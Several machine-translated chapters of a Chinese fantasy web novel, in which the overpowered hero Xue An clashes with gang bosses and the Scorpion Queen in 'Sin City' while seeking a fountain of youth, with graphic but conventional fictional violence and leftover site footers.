    Old Stone leaned forward to Griffin, "Brother, what''s wrong with him? I finally escaped before passing away. How do I think he is a little unexcited?"


    Griffin drank the glass and smiled slightly, "It should be those guys who escaped in death! Okay, I''m going to sleep too."


    With that, Griffin got up and left.


    Xue An returned to the room on the third floor, creating two daughters who were already asleep, only An Yan was still lying on the bed playing with her mobile phone.


    Seeing Xue An''s return, she sat up.


    "Why don''t you sleep?" Xue An asked.


    "Can''t sleep, it was so messy just now, what''s wrong?" An Yan asked.


    Xue An smiled, "It''s okay! It''s just that a few guys are drunk!"


    An Yan nodded.


    After Xue An lay down, she habitually hugged Xue An''s waist and buried her head in Xue An''s chest.


    "Husband..."


    "Ok?"


    "I just had a video call with Mengxue!"


    "Oh!"


    "She and Han Yao went to Europe and said they were going to make a movie there!"


    Xue An smiled slightly and said nothing.


    The spirit that killed the dying Night Witch Empress that day, the Night Demon attached to Han Yao also disappeared.


    But before she left Hollywood with An Yan, Fan Mengxue took Han Yao away.


    He didn''t say anything when he left.


    Now listening to An Yan''s words, I went to Europe to make a movie.


    Thinking of this, Xue An sighed slightly.


    He made it clear that Fan Mengxue was avoiding herself as much as possible.


    "Okay, go to sleep!" Xue An stopped thinking about this, turned over and hugged An Yan, gently stroking her hair.


    The faint fragrance of An Yan''s body gradually calmed Xue An''s heart.


    And outside, the wind is gradually rising!


    Vin Sinan sat obediently in the back seat of the giant man''s locomotive, and followed these locomotive party members back to their station.


    This is an abandoned factory building, but it has been reformed by these locomotive gangs to become their base camp!


    After getting out of the car, members of the locomotive gang stationed here also greeted him.


    However, many people''s eyesight is focused on Vin Sinan.


    The giant smiled at Vin Sinan with a complacent face, "Little girl, you are very sensible, so I won''t kill you, but I will let you spend an unforgettable night!"


    Hearing these words of the giant man, these men all laughed loudly.


    Hearing what the giant man said, Vin Sinan''s face showed an inexplicable smile, and said coldly: "It''s a pity, although you don''t plan to kill me, but I won''t let you go!"


    Vin Sinan''s words stopped these locomotive party members.


    After a while, there was a clamor.


    "Damn, is this girl scared?"


    "Boss, do you want to teach her first?"


    The giant man''s complexion also turned gloomy, and he grinned and said: "Very well, but I''m very curious, why are you planning to let me go?"


    Vin Sinan smiled faintly, and whispered something in the ear of the giant man.


    The giant''s face changed drastically, his original contentment and arrogance disappeared, his face became pale as paper, and he looked at Vin Sinan with horrified eyes.


    "You...you..." He was so scared that he couldn''t even say the rest.


    This scene also stunned the locomotive party members.


    The boss was fine just now, how could he suddenly become this look?


    At this moment, the burly man threw himself and knelt at the feet of the woman, trembling all over.


    Vin Sinan''s face was cold, and he whispered, "I only know how to be afraid now, sorry it''s too late!"


    As soon as the voice fell, in the surrounding darkness, hundreds of women in black walked out.


    They all have giant guns that are scary enough!


    And looking at Vin Sinan again, she didn''t know when there was an extra mask on her face.


    An extremely terrifying snake mask, there is a scarlet poisonous scorpion in the mouth of the poisonous snake!


    See this scene.


    These locomotive party members all stopped, and then someone screamed.


    "It''s the Queen of the Scorpion!"


    This title makes people feel daunted at the occasion.


    Because this is the most mysterious and terrifying dark giant in Sin City, the Queen of Scorpion!


    Almost no one has seen her true face, she seems to have countless faces.


    But whenever she appeared in front of everyone, she always wore a terrifying mask.


    "Kill them all!" Vin Sinan ordered coldly.


    These black-clothed women all came forward in silence, and anyone who stopped them in front of them would be crushed!


    They are like huge black waves that directly swallowed these people.


    The miserable cry lasted less than three seconds.


    This tyrannical locomotive party disappeared. The novel is invincible, starting with Dad Xianzun, the latest chapter Chapter 278 The Queen of the Scorpion (fourth more) URL: https://

 Chapter 279： Hope this gift...you like it!

    The air was filled with a sickening smell of blood.


    Among the blood and corpses on the ground, Vin Sinan stood proudly, his purple hair swaying in the night wind.


    "Your Majesty, how do you deal with these corpses?" a subordinate asked.


    Vin Sinan said lightly: "Cut off the head of the target and put it in front of the bar!"


    "Yes!"


    Vin Sinan looked in the direction of the bar, the corners of his mouth under the mask slightly raised.


    "I look forward to seeing this gift...you can enjoy it!"


    the next day.


    Old Stone opened the door of the bar early as usual, but immediately, he let out a deafening scream.


    After Griffin was awakened, he said impatiently as he went downstairs: "What is your ghost name?"


    Old Stone''s face was pale, he sat down on the ground and said in a trembled voice: "Everyone who has died, there are many people who have died!"


    Griffin curled his lips, "Everyone died? When will the Sin City miss the dead?"


    Turning his head to look towards, then stopped.


    I saw a head placed at the entrance of the bar.


    Bald head, hideous face, and his face is still timid before death!


    It is the boss of the locomotive party who came here yesterday!


    Griffin took a breath.


    Who did this?


    At this moment, Xue An also went downstairs.


    "My lord, look at this..." Griffin looked solemn.


    Xue An said indifferently: "If you pass away, you should pass away. Anyway, he should pass away too! Is there anything strange?"


    "But... I always find this thing weird. Could it be that woman killed it?" Griffin murmured.


    Xue An smiled faintly, "Is it her? I should know soon!"


    In the evening, another news came.


    The Locomotive Party has been completely wiped out, and the scene is said to be terrible!


    The news shocked everyone in the bar.


    Many people who were there yesterday started to talk.


    "Oh my god, the locomotive gang is gaining momentum recently, but the results have been knocked out overnight!"


    "Hehe, what''s weird about this, the tree is so big that it attracts the wind, and the locomotive gang has been too arrogant during the recent period! It is not surprising that it has attracted enemies!"


    "Then who do you think will be the hands?"


    "I guess it''s Old Bell!"


    Old Bell!


    Mention of the name, all the bars are quiet.


    The three dark giants of Sin City, the Eviscer Griffin, the Venomous Queen Vin Sinan, and this old Bell.


    But now Griffin has been driven away, the Queen of Scorpion is mysterious, and only this old Bell is still very vivid!


    Especially his son Little Bell, who is a famous dude in all Sin City!


    Many people pale when they hear the name Old Bell.


    But some people still disapproved, and sneered: "I don''t think he did it! Old Bell has been serious in doing things these years, and he rarely kills the door!"


    "Then who do you think it is?" someone said unconvinced.


    "You...Did you forget that woman last night?"


    Speaking of that woman, the bar was quiet.


    "Hehe, how is it possible? That''s just an ordinary woman, maybe it''s still sold out!" someone sneered.


    "Yes!" Many people agreed.


    While these people were arguing, Xue An and Griffin were drinking at the bar.


    Lao Shitou''s bartending skills are really good, at least Xue An is very content with it.


    After hearing everyone''s discussion, Griffin whispered a little annoyedly: "Old Bell, the one who never died, hadn''t been for him, I wouldn''t have been driven out!"


    Xue An did not speak, still drinking slowly.


    At the time when the bar became enthusiastic and extraordinary due to the fall of the Locomotive Party.


    The door was pushed open.


    A pair of long, straight legs stepped in first, and then the familiar miniskirt, still the lavender hair.


    Quiet in the bar.


    Everyone looked at this woman blankly.


    Some people even swallowed hard, and then the preparations slipped away quietly.


    It is Vin Sinan.


    She stepped up to Xue An, sat on the side for herself, and said to the dumbfounded old stone: "Come on with the flames of hell, I was so tired last night!"


    "Ah... oh oh oh!" Old Stone hurriedly started to mix the drinks, and looked at Wen Sinan with horrified eyes from time to time.


    Even Griffin looked pale, because he really couldn''t see through the details of this woman.


    Only Xue An has been drinking slowly.


    "Aren''t you curious?" Wen Sinan couldn''t help asking.


    "What are you curious about?" Xue placed Yuzhe and turned to look at her.


    "Curious about what I experienced last night?" Vin Sinan asked with a pair of big eyes blinking.


    Xue An smiled, "You choose the road yourself. What does it have to do with me?"


    Vin Sinan was speechless and gritted his teeth with anger.


    She came here to see everyone''s response, especially Xue An.


    She also had a strong curiosity about this man.


    Especially his decisive character, let Vin Sinan admire him very much.


    But I didn''t expect Xue An to show no words to him.


    This irritated Vin Sinan.


    "Hey, I really should thank you last night!" Vin Sinan whispered suddenly.


    Xue An smiled, "I said, no thanks!"


    "Huh, ignorant guy!" Vin Sinan was originally a grumpy person, but now finally couldn''t hold back, he threw a sentence, turned and left.


    I waited until I got to the entrance of the bar and couldn''t help but turn around and say: "Tomorrow my birthday, are you interested in participating?"


    Xue An shook his head, "Not interested!"


    "You..." Wen Sinan raised his eyebrows, and immediately returned to silence, snorted coldly, turned and left.


    After she left, many people looked at Xue An with amazement.


    Some people are almost jealous of passing away.


    Vin Sinan��s performance just now clearly hinted at Xue An!


    Unexpectedly, Xue An was completely unmoved.


    This is simply pushing away the women who come to the door!


    Griffin was not surprised.


    Compared with An Yan, Vin Sinan is not much different from an ugly duckling.


    But he was still a little curious and said, "My lord, this woman is very mysterious! Are you really not going to go?"


    Xue An shook his head, "I''m too lazy to go, and, as soon as possible to find out the actual news of Bu Laoquan, I don''t have time to spend all the time!"


    After all, he got up and went upstairs.


    Outside, Vin Sinan got into the car angrily with a murderous face.


    Everyone in the car shivered They all knew the character of their own queen, she was about to kill at every turn!


    "Your Majesty, do you want to destroy this bar?" said one of Vin Sinan''s attendants.


    Unexpectedly, Vin Sinan slapped the entourage.


    This slap made the follower''s mouth full of blood, but he didn''t even dare to lift his head.


    "If you dare to say this again, I will throw you into the snake pit and let the snakes eat their hearts!"


    "Yes!" the follower trembled.


    Vin Sinan took a deep breath, suddenly became quiet, and a proud smile appeared at the corner of his mouth.


    "The man I like, hasn''t escaped the palm of my hand! Even if you have a wife, it''s the same!" The novel is invincible, starting with the newest chapter of the newest chapter, Chapter 279: Hope this gift ... can you like it! (First update) URL: https://

 Chapter 280： The beginning of the night

    "My lord, when this Spring of Eternal Spring was first created, it was in an abandoned mine in the City of Sin. It belonged to me! But I didn''t expect the two guys, Old Bell and Queen Scorpion, to join forces to drive me away. Now!" Speaking of this, Griffin''s eyes were full of spite.


    "As for how the latter two people allocate the fountain of youth, I am not quite clear! But I know that this fountain of youth does not exist all the time, it has a time pattern!"


    "The next time it appears, it will be three days later!"


    Griffin said everything he knew, and Xue An nodded after hearing it.


    "So I feel that the most important thing now is to regain all my previous territory, and weaken the strength of Old Bell and Queen Scorpion as much as possible!" Griffin said.


    Xue An glanced at him.


    Griffin felt cold, and quickly lowered his head, "I''m just making a suggestion, everything is up to the adults!"


    Xue An said indifferently: "There is no need to worry about this. If the old spring emerges after three days, I can feel it! When the spring water succeeds, these people will be destroyed!"


    "Yes!" Griffin said respectfully.


    And in the central gut of Sin City, there is a black building.


    In a huge office on the top floor.


    Old Bell was leaning on a chair, enjoying the night view of the city outside the French windows.


    He likes this feeling.


    It''s like being in the clouds, stepping everyone under their feet.


    This is indeed the case.


    Now that his reputation and power are hidden, he is already the Dark King of Sin City.


    Griffin escaped, and now there was a Queen of Scorpion.


    Thinking of this woman, Old Bell frowned slightly.


    At this time, the office door was opened.


    Old Bell didn''t need to look back to know that it was his only son, Little Bell, who came.


    Because no one except him dared to open the door without asking for instructions.


    "My father, there is something I want to report to you!" Bell and his father look very similar.


    The same profound eyebrows, the same gentleness.


    But the little Bell is more rebellious than the old Bell.


    Old Bell looked at his son with his eyesight as if he was watching a piece of art.


    "Oh? What''s the matter?"


    "Last night, a locomotive gang around Bar Street was destroyed!"


    "What''s so strange about this? My child, you have to know that there are more gangs that are destroyed in the Sin City every day than my gray hair!"


    "But father, this is different!" As he said, Bell put a few photos on the table.


    Old Bell picked it up, and suddenly frowned.


    The factory in the photo is full of blood and corpses.


    "This is..." Old Bell was taken aback.


    "Yes, my father, this should be the work of the evil scorpions!"


    Sin Scorpion!


    The scorpion queen''s men!


    Old Bell''s eyesight shined.


    Little Bell smiled and said at the moment: "And I also created a lot of interesting things! Such as this..."


    Little Bell took out a photo. The scene in the photo was obviously in a bar.


    It is the profile of a man and a woman.


    The woman has lavender hair.


    "My father, this poisonous scorpion queen is secretive and has never revealed any clues. For so many years, we don''t even know what she looks like!"


    "But this time... she finally showed up!"


    Old Bell frowned, "You mean, this woman might be the Queen of Scorpion?"


    "It''s not possible, but sure!"


    Old Bell felt very relieved and looked at his son approvingly.


    "Then what are you going to do?"


    Little Bell smiled like a poisonous snake choosing someone to eat. "Father, the fountain of youth is about to emerge. This should belong to our Bell family. Why should we give it to a mad woman?"


    Old Bell nodded, "Okay! Go ahead!"


    He knew exactly what his son meant, as the dark magnate in the city of sin.


    Murders, alliances, and betrayals are all commonplace!


    "Good father, at this time tomorrow, I will definitely offer this woman''s head!"


    From beginning to end, neither father nor son had seen the indifferent man in the photo.


    from their perspective.


    Except for the Queen of Scorpion, everything else is insignificant!


    the next day.


    When the Hua Deng first started.


    The old stone bar became warm again.


    Many people like to come here to drink a glass of wine made by the old stone.


    Especially the people of the locomotive gang have been wiped out recently, and it has become much more peaceful here.


    Xue An also sat in front of the bar unmovingly, drinking.


    At this moment.


    The door of the bar was pushed open, and then Wen Si Nan walked in with a huge cake.


    This move of her made many people startled slightly.


    Vin Sinan walked straight to the bar, put the cake on it, and started to insert the candle torch.


    Xue An frowned slightly, "What are you doing?"


    "Of course it''s my birthday! Didn''t you see me putting the candle torch?" Wen Sinan said lightly.


    "Birthday here?" Xue An asked rhetorically.


    "Can''t it?"


    With that, Vin Sinan smiled at Old Stone, "Tonight, all the consumption is on my account!"


    Her words drew cheers from many people. These people''s timidity towards Vin Sinan gradually faded. Some even raised their feathers and shouted: "Happy birthday, my girl!"


    Vin Sinan was obviously in a good mood and smiled slightly, "Thank you!"


    Light the candle torch.


    The music in the bar also stopped very interesting.


    Those dancing girls also watched with a smile not far away.


    In this small bar, the atmosphere has become a little warm.


    "Don''t you even want to say a happy birthday?" Wen Sinan said.


    Xue An''s expression returned to silence, and smiled faintly, "Happy birthday!"


    Vin Sinan laughed, then closed his eyes and made a wish before blowing out the candle torch.


    Many people started cheering.


    Drinks and water generally come up.


    It''s not too late this night, it''s already intoxicating.


    Vin Sinan drank a lot of alcohol, and the wandering skeletal attacked many people with cakes.


    Of course, she was also wiped off the cake by many people.


    There are even some people who deliberately wipe oil.


    But even so, she was not angry.


    And outside the bar, UU reading www. On the uukahnshu.com several modified trucks resembling black behemoths, women in black are all sitting on them.


    They are Vin Sinan''s personal guards, a group of sinful scorpions.


    Hearing Vin Sinan''s exaggerated laughter from the bar.


    These women in black couldn''t help looking at each other. Someone couldn''t help saying: "It seems that Her Majesty the Queen is very happy tonight!"


    "But I remember that Her Majesty the Queen has already passed her birthday this year!" Someone whispered.


    "Hush! Remember, these words should never be spoken to the Queen, unless you want to be bitten by the snake!" someone warned.


    Just when they were having a relaxing chat together.


    Countless shadows flew in the sky!


    The night seemed to boil. </></> Novels are invincible, starting with the newest chapter of the new chapter, Chapter 280, the first chapter of the night (second more) URL: https://

 Chapter 281： Shadow Arbiter

    Little Bell stood on a tall building, leaning over to look at the black giant beasts in the distance.


    "Those... are the evil scorpions in the legend?" Little Bell said lightly.


    "How can you travel with only such a few people? You are really brave enough!"


    There was a hint of excitement on Little Bell''s face, and his mood became restless.


    After all, the other party is a dark giant with the same name as his father.


    If he can beheaded tonight, his reputation will skyrocket again, and the Bell family will become the true king of the city.


    "Shadow Arbiter, get out!" Little Bell said.


    "Yes!" A promise came from the shadows, and then countless black shadows swept across the sky.


    As the only son of the Bell family, Little Bell is naturally beloved.


    Even this time to fulfill the task, the family dispatched to him are the most elite Shadow Arbiters!


    In Sin City, the men of the Dark Three have their own elite men.


    Griffin''s dark apprentice.


    The evil scorpion of the Queen of Scorpions!


    But even more famous than them, it is recognized that the most powerful is the Shadow Arbiter of the Bell family.


    It is said that these people were created by the Bell family after decades of blood and sweat, and each of them is extremely powerful.


    Little Bell stood on the top of the building and looked at the arbitrator who covered the sky, with a breath of heroism in his heart.


    From then on, Sin City will only exist in the Bell family!


    At this moment.


    The members of the scorpion group outside the bar are still chatting.


    suddenly.


    A black shadow passed.


    The woman sitting in the driver''s seat fell to the ground, blood flowing from her throat.


    And this slight noise also alarmed these women in black.


    "What sound?" someone exclaimed.


    If you are closer to the door, open the door immediately.


    There was a dead silence outside.


    Several women in black looked at each other, frowning at each other.


    There was an ominous smell in this silence.


    But as a soldier who wanders on the edge of life and death all year round, death and blood are commonplace.


    So, of course, knowing that something has definitely changed, but everyone was very calm.


    They silently picked up their weapons, and then leaned on each other and got out of the car.


    The night is dark and abnormal.


    Even the moonlight is gone.


    suddenly.


    Just when these women in black walked to the middle of the street, preparing to enter the bar.


    Countless black shadows flew from a distance.


    These women in black did not hesitate to raise their guns and were preparing to fire.


    These shadows rushed to the front.


    Two black torrents collided in the street like this.


    The sound of broken limbs, the rush of blood, and the metal screaming from the collision of the knife tip were mixed together.


    It constitutes a cruel movement.


    But there was no scream.


    Both sides of the war were silent and terrible.


    Even death can''t make them groan.


    As a warrior who came out of the dark purgatory, no matter who he was, he had done his best to die without fear of life.


    Even Bell, who was watching from a distance, couldn''t help showing his praise.


    "It really is an admirable dark warrior!"


    But compared to the vast expanse of the Shadow Arbiter, the number of the evil scorpion is very small, and under the hasty battle, the loss is heavy.


    quickly.


    Most of these women in black have fallen.


    The rest were all wounded, standing back to back to each other, watching the dark shadows in the sky vigilantly.


    "It''s the Shadow Arbiter!" someone said softly.


    "The Bell family has taken action, and you must notify Her Majesty as soon as possible!" The other person said solemnly.


    "I just tried it. This street has been closed by the shadows, and no news can be sent out!"


    At this time, Little Bell walked slowly from the street and said with a smile: "You are women, but they are respectable. If you put down your weapons now, I can consider letting you go!"


    "Little Bell!" these remaining members of the sinful scorpion shouted in a deep voice.


    Then they glanced at each other and slowly raised their guns.


    "Unfortunately!"


    Little Bell was not surprised by this result, so he just bowed his head slightly, and then the Shadow Arbiters flew past him.


    "It''s all for the Queen!" The members of these criminal scorpions shouted at last, and then pulled the trigger.


    The gunfire gleamed a few times before being swallowed by the shadow of the Shadow Arbiter.


    There was a crunch, a sore sound.


    It seems that there is a monster chewing flesh and blood, which is creepy.


    Then, the shadows scattered, leaving only a pool of blood on the ground, not even the bones.


    "What an exciting night!" Little Bell exclaimed.


    "You said, if this poisonous scorpion queen created her own subordinates to die outside, but she still celebrated her birthday inside, wouldn''t it be sad?" Little Bell said playfully.


    No one responded.


    These Shadow Arbiters have always been silent fighters.


    "Well, surround this bar, I want to have a heart-to-heart talk with our Queen!"


    Little Bell is in a great mood.


    With that said, Bell pushed the door into the bar.


    At this time, everyone in the bar was already drunk.


    Only Wen Sinan, Xue An and others were still drinking slowly.


    Xue Xiang and Xue Nian were drinking the juice specially prepared for them by Old Stone!


    When Little Bell walked in.


    Many people did not pay much attention to him.


    Then Little Bell looked at Vin Sinan and smiled slightly: "My Queen? Happy birthday!"


    This sentence did not arouse any response from Vin Sinan, she was still drinking while smiling.


    Only Xue An, with the corners of his mouth raised, showed a meaningful smile.


    "It seems that I should say sorry, because I was not wary of killing all the Queen''s subordinates just now!" Little Bell''s words finally caught Vin Sinan''s attention.


    She turned to look at him, her eyes getting cold.


    "what did you say?"


    "You can try to call to see if your person is still there!"


    Vin Sinan felt it slightly, his face changed, and then put down the feathers, stood up slowly, and a majestic aura gradually emerged.


    "Little Bell?"


    "It''s under!" Little Bell said with a smile.


    "Very good! Your Bell family successfully angered me! Prepare to encounter my anger!" Vin Sinan said coldly At this time, all the drunk people in the bar have awakened.


    Because many people finally heard the conversation between the two.


    This man is actually the famous little Bell!


    And this woman...


    "Your Majesty the Scorpion Queen, I also feel sorry for this, but I guess you won''t have to be angry anymore, because this bar tonight is your burial place!"


    Queen of Scorpions!


    This name caused everyone in the bar to exclaim.


    Especially Griffin, his complexion could not help but change drastically.


    This woman is actually the Queen of the Scorpion? The novel is invincible, starting with Daddy Xianzun, the latest chapter Chapter 281 Shadow Arbiter (third update) URL: https://

 Chapter 282： So... the game is over!

    "Little Bell, it seems that you are not clear yet, although your current strength is very rich and strong, but compared to me, it is still far behind!"


    Vin Sinan said in a cold voice, her appearance has also changed drastically as her expression changes.


    The delicate face just disappeared and was replaced by a face like a **** or a demon.


    "Is the blood of the gods?" Xue An said in a low voice, then smiled, "It looks alike, but the aura is too weak, it should be a false god!"


    His low voice did not attract anyone''s attention.


    At this time, the people in the bar can''t wait to escape quickly.


    A few smart people started to crawl out of the window quietly.


    But they just crawled out, before they had time to be excited, they heard a few screams, and then everyone was swallowed by darkness.


    Vin Sinan frowned, and said in a majestic voice: "Shadow Arbiter? No wonder the informant who could just hide from me! In order to deal with me, the cost of your Bell family is not small!"


    Little Bell chuckled, "Why can you kill the Queen, a few arbitrators?"


    And at this moment, Vin Sinan suddenly turned into a black light and went straight to Bell.


    The speed was so fast that it even caused a sharp wind.


    Face this menacing blow.


    Little Bell''s expression was indifferent, but he took a half step back.


    A torrent of darkness poured out from both sides of him and went straight to Vin Sinan in the air.


    Vin Sinan snorted, "Just ants, get out of here!"


    Having said that, Wen Sinan waved his hand, and countless snake shadows rushed toward these dark shadows.


    Griffin''s face was pale at this time, and he wanted to get under the table.


    "Shadow Arbiter, my God! So many have been dispatched! Is the Bell family crazy?"


    In mid-air, these snake shadows finally met the black torrent.


    boom!


    There was a muffled sound.


    All the glassware in all bars shattered.


    The black torrent was wiped out by more than half.


    This made the little Bell at the back see the eyelids twitching, and the distressed blood dripped.


    This is all the blood and sweat of the Bell family!


    But Vin Sinan was also uncomfortable, his figure stagnated in mid-air, and a bitter expression appeared on his face.


    "She was hurt!" Little Bell shouted in surprise.


    Sure enough, Vin Sinan''s momentum began to become obscure, and everyone was about to fall.


    "Kill her!" Little Bell shouted.


    As long as she passes away, so not old spring, including the city of sin!


    It''s all mine!


    But at this moment, a timid voice came.


    "Husband? What''s wrong? Is something wrong?"


    The sound is clear and moving.


    Everyone turned to look towards.


    I saw a beautiful lady standing on the stairs.


    Although it is such a dangerous situation now, many people can''t help but get lost.


    In Sin City, there are mostly naked girls with fluttering branches.


    Where have you seen such a cold and moving beauty?


    Even Bell couldn''t help but stare.


    He is the person who loves beauty the most.


    But what was she shouting just now?


    Husband?


    Who is her husband?


    An Yan was also quite nervous at this time.


    Upstairs, she heard the clanging noises from below, and she didn''t know what happened.


    Although she has confidence in Xue An, the two little girls are also below.


    Later, she was really worried, and then walked down.


    But I didn''t expect so many people below.


    And they all looked at themselves with straight eyes.


    At this time Xue An stood up and smiled and said, "It''s nothing, it''s just that some people are playing around!"


    Xue An''s words caused an uproar.


    The old stone squatting behind the bar was trembling, and tears were about to come down.


    I thought to myself, this guy really came to find his death!


    Vin Sinan in mid-air passed away and stared at An Yan. After a while, she also had to admit.


    This woman is far better than herself, both in appearance and temperament.


    Is this his wife?


    No wonder you don''t show any rhetoric to yourself!


    At the moment of life and death, a trace of sorrow passed in Vin Sinan''s heart.


    At this time, Little Bell smiled gloomily.


    "Hey! Very good! I didn''t expect there to be such a beautiful woman in such a small bar. It seems that I have gained a lot from this trip!"


    As he said, Bell said coldly: "Kill the Queen of Scorpion first!"


    Following his order, these Shadow Arbiters rushed up again.


    Vin Sinan yelled, trying to wipe out these dark shadows.


    But helplessly, the blow just now wiped out half of the Shadow Arbiter, but it also made her burn out.


    Now facing the raging impact, she can only dodge the resistance from the left and right, but the slower and slower she moves, there are still scars on her body from time to time!


    Vin Sinan''s eyes showed a look of disregard, knowing that this time, there was no good luck.


    And little Bell looked at it with satisfaction.


    But just when he consciously had the chance to win.


    Xue An smiled at An Yan, "Wait for me!"


    "Hmm!" An Yan nodded obediently.


    Then Xue An stood up and walked forward.


    Upon seeing this, Vin Sinan in midair roared: "Don''t come over, this is not something you can interfere with!"


    Little Bell looked at him complacently, and then casually pointed, "Kill him!"


    In Little Bell''s view, killing this man is a very simple matter, and as long as he passes away, then this beautiful woman will return to herself!


    Thinking of this, little Bell''s heart couldn''t help but become hot.


    A few shadows came straight to Xue An.


    Even Griffin''s complexion became uncertain.


    As for the others, they all looked pale, thinking that Xue An must pass away.


    But when these dark shadows rushed to the front, Xue An waved his hand and drew a faint voice, "Get out!"


    Known as the most terrifying warrior in the city of sin, a frightening shadow arbiter.


    Under Xue An''s wave of his hand, it seemed as if a mass of trash was directly blasted out, and then wailed and disappeared!


    one strike!


    The several Shadow Arbiters who rushed in died.


    Vin Sinan''s mouth opened slightly in midair, his face full of disbelief.


    Little Bell was even more shocked, watching this scene in disbelief!


    "How... how is it possible?"


    Was the Shadow Arbiter wiped out under such an understatement?


    Who is this man?


    At this moment, Xue An looked at Little Bell and smiled slightly: "It''s very interesting, but it''s only interesting! So...the game is over!"


    With that said, Xue An raised his fist and chuckled softly: "Move the world!"


    With this soft drink, the heavens and the earth stopped, as if everything had stopped.


    After that, Xue An just made a punch lightly.


    boom!


    These Shadow Arbiters didn''t even have time to struggle, so they turned into flying ash under this punch.


    Little Bell yelled in horror.


    But immediately he created it, and he was fine!


    Just as he was rejoicing, he heard a loud bang behind him.


    Turning around, he couldn''t help being dumbfounded.


    I saw it under Xue An''s punch!


    All the walls of the bar are gone.


    The entire street outside was also blasted out of a grand passage by this punch!


    And the shadows that had closed the entire street just now have all turned into fly ash!


    The power of this man''s punch is so terrible! The novel is invincible, starting with the newest chapter, Chapter 282, the newest chapter, Chapter 282 So... the game is over! (Fourth update) Website: https://

 Chapter 283： The rules are for the weak, I only believe in fists!

    Everyone looked at Xue An in horror.


    Vin Sinan who fell to the ground was even more astonished.


    She knew that Xue An''s martial arts skills were good.


    I didn''t expect it to be so powerful.


    As for Little Bell, he gradually recovered from consternation at this time, and said grimly: "Who are you? Don''t you know what happened to my Bell family?"


    Xue An said lightly: "I don''t know, and I don''t want to know!"


    Little Bell was surprised, but Xue An didn''t kill him just now, which gave him a little more confidence, so he said coldly: "Very well, you are a strong man, blame I just didn''t see it!"


    "The strong should be treated like the strong. I am sorry for my attitude just now. Now...I can leave now!"


    Little Bell finished speaking and turned to leave.


    Xue An''s voice came from behind, "Did I say let you go?"


    Little Bell suddenly turned around and said grimly: "This is the City of Sin. Even if you are some amazing warrior, you must follow the rules here! Clear?"


    Xue An shook his head, "Do you know why you didn''t kill you with just one punch?"


    "Because I want to tell you that the rules are for the weak, and I... only trust the fists!"


    After all, Xue An nodded his hand.


    A sword light instantly pierced through time and space and directly penetrated Little Bell''s head.


    puff! Brain plasma and blood sprayed all over the floor.


    Little Bell did not expect that Xue An would suddenly make a move.


    After a while, his dead body fell to the ground.


    At this time, all the bars were a sensation.


    Griffin laughed.


    "My lord is really mighty, this guy should have died long ago!"


    He naturally fears that the world will not be chaotic.


    But everyone else was trembling with fright.


    Little Bell!


    This is the only continuation of the Bell family, the only son of old Bell!


    Even people who are hostile to the Bell family dare not kill him!


    After all, no one wants to face a rampant old Bell!


    But for such a person, Xue An actually killed him when he said he was killed?


    Thinking of facing the monstrous anger of Old Bell next, many people can''t help but feel ashamed of death.


    At this time, Vin Sinan was struggling to get up from the ground, and he hesitated for a while and said: "I will send you out of the city in a while! I will take care of the rest!"


    Xue An shook his head, "I don''t want to leave yet!"


    Vin Sinan was a little anxious, "I know you are very powerful, but the Bell family has existed in this city for hundreds of years. No one knows what cards he has! You still bring your wife and children. If something happens, it will be all It''s over!"


    Vin Sinan was indeed anxious at this time.


    She is a cruel queen of poisonous scorpions, but at the same time a woman with distinct loves and hates.


    Xue An had just taken a shot suddenly, in Vin Sinan''s opinion, it was to save himself.


    She thought that in repaying Xue An''s fist, she planned to take it on her own.


    But at this moment, Xue An suddenly looked into the distance.


    Because he felt a strong spiritual fluctuation.


    Vin Sinan also felt it at this moment, his expression changed, and he blurted out, "It''s a fountain of youth!"


    Xue An smiled.


    It seems that Griffin''s calculation is wrong!


    It was said that after three days, the results only passed one day, and the fountain of youth emerged!


    Xue An wanted to kill the Bell family directly, but now that Bu Laoquan is born, he is planning to take the Lingquan first!


    Thinking of this, Xue An picked up his two daughters, let Griffin drive the car, and drove the family to the abandoned mining area where Bu Lao Spring was located.


    But before leaving, Xue An looked at Vin Sinan who was looking languid and suddenly said.


    "Over the years, you have been overdrawing the power of your body, don''t you know that if you continue like this, your blood will collapse and die?"


    Hearing Xue An''s words, Ven Sinan''s expression changed drastically.


    "you����!"


    "How did I see it?" Xue An smiled faintly, "It''s very simple to me! You can see it at a glance! And..."


    "I know that you are acting tyrannically, but at any rate you have blessed most of the dusty women in Sin City and protected them from bullies. Based on this, I have never thought of dealing with you!"


    Vin Sinan was dull at hearing, "You mean..."


    Xue An nodded, "Yes, I came to Sin City this time not only for the old spring, but also for this city, I have to level it! So even if the Bell family does not come, I will come!"


    "As for you... what I want to tell you is that kindness is not the original sin, but weakness is!"


    After speaking, Xue An got in the car and left.


    Vin Sinan looked at the car lights in the distance with a daze.


    Xue An''s words suddenly reminded her of many things that year.


    Back then, she was just a pure female high school student. She was abducted here just because she believed a so-called friend.


    After coming here, she was clearly deceived.


    At that time, she was still stupid with the ideal that a hero would come down from the sky and rescue her.


    The cruel reality ruthlessly shattered everything.


    She was forced to pick up guests that night and lost everything in suffering and humiliation.


    From the beginning of that day, she was forced to become a cash cow for many people.


    Gradually, she became paralyzed.


    But finally one day, when she was tortured all night, in the end, these guests were still preparing to cut her throat with a knife.


    She broke out!


    A certain place deep in the body seemed to explode suddenly, the power of the majestic bloodline turned all the people who bullied her into blood!


    It was also from that time that she suddenly became clear that she cannot be kind and must be evil!


    Later, she gradually grew into one of the three dark giants, and controlled 90% of all the skin and flesh business in Sin City.


    Under her protection, many women at least stopped being bullied all day long!


    She once thought she did a good job!


    But what Xue An said today made her suddenly realize a lot.


    She seemed to have seen the high school girl with short hair and clean eyes!


    Suddenly, she burst into tears!


    He said viciously: "Fuck it!"


    Then turned and disappeared into the darkness.


    While in the car, An Yan asked curiously: "Husband, who was that woman just now?"


    Xue An smiled faintly, "A person... who has lost a lot of things!"


    The car soon came to the abandoned mining area, where the guards are heavily guarded and there are dense guards.


    So when the car hadn��t arrived in front of the mining area, someone called a gun warningWho? Step back! "


    Griffin stopped the car and asked a little surprised: "My lord, we..."


    Before I finished speaking, I saw Xue An sitting in the back seat and waved!


    A grand half-moon halo suddenly appeared in front of the car.


    "Go!" Xue An said softly.


    This magnificent halo is like a sickle, aiming at the guarded camp is a sweep.


    At first there was a crackling sound, and sparks appeared everywhere.


    Then the trees and barbed wire were all broken off.


    In the end, these guardians were cut in half with bitter expressions and died on the spot. The novel is invincible, starting with the newest chapter, Chapter 283, the rules are for the weak, I only believe in fists! (Fifth update) Website: https://

 Chapter 284： Killer

    Griffin looked cold.


    Is it such an understatement, killing all the guards without even getting off the car?


    Xue An was noncommittal about this.


    The killer is not in his heart, the living is not trapped in confusion!


